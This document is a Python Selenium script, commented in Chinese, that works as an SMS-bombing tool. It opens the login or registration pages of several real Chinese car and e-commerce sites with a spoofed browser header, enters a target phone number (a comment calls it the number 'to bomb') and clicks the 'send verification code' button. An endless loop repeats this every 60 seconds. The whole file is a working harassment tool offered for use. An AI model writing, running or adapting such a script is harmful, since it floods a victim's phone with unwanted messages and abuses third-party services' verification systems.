from selenium import webdriver
import time
# from fake_useragent import UserAgent
# ua = UserAgent(verify_ssl=False)
from selenium.webdriver.common.action_chains import ActionChains
opt = webdriver.ChromeOptions()
# opt.add_argument('--headless')
#更換頭部
opt.add_argument('user-agent="%s"' % 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.62 Safari/537.36')
driver = webdriver.Chrome(chrome_options=opt)
class PunchBack:
def __init__(self):
#放要轟炸的手機號
self.phone = '*******'
self.name = 'wocao123456'
self.password = 'nima789456++..'
self.num = 0
# 發送驗證碼
def send_yzm(self,button,name):
button.click()
self.num+=1
print("{} 第{}次 發送成功 {}".format(self.phone,self.num,name))
# 瓜子注冊接口
def guazi(self,name):
try:
driver.implicitly_wait(10)
driver.get ( "https://www.guazi.com/www/bj/buy" )
a_btn = driver.find_element_by_xpath ( "//a[@class='uc-my']" )
a_btn.click ()
tel = driver.find_element_by_xpath ( "/html/body/div[2]/form/ul/li[1]/input" )
tel.send_keys ( self.phone )
button = driver.find_element_by_xpath ( "/html/body/div[2]/form/ul/li[2]/button" )
self.send_yzm ( button,name )
except:
print('本次失敗')
#長安
def changan(self,name):
try:
driver.get ( "http://www.oshanauto.com/member/login?jump=http://www.oshanauto.com/member" )
driver.implicitly_wait(10)
tel = driver.find_element_by_xpath ( "/html/body/div[1]/div[2]/div/div/div[1]/div/input" )
tel.send_keys ( self.phone )
driver.find_element_by_xpath ( '/html/body/div[1]/div[2]/div/div/div[2]/div/span' ).click()
button = driver.find_element_by_xpath ("/html/body/div[1]/div[2]/div/div/div[2]/div/span" )
self.send_yzm ( button,name )
# self.send_yzm (name)
except:
print('本次失敗')
# 有贊注冊接口
def youzan(self,name):
try:
driver.get('https://www.youzan.com/v2/account?from_source=baidu_pz_shouye_0&')
driver.implicitly_wait(10)
driver.find_element_by_xpath('//input[@name="mobile"]').send_keys(self.phone)
button = driver.find_element_by_xpath('//button[contains(./text(),"獲取驗證碼")]')
self.send_yzm(button, name)
except:
print('本次失敗')
# 彈個車
def tangeche(self,name):
for i in range(3):
driver.get('https://www.tangeche.com/market')
time.sleep(0.1)
# driver.implicitly_wait(10)
driver.find_element_by_xpath('//input[@placeholder="請輸入您的手機號"]').send_keys(self.phone)
button=driver.find_element_by_xpath('//div[contains(./text(),"咨詢更多優惠")]')
self.send_yzm(button,name)
# 循環執行
def main(self):
while True:
self.changan('長安')
time.sleep(60)
if __name__ == '__main__':
OnePunchMan = PunchBack()
OnePunchMan.main()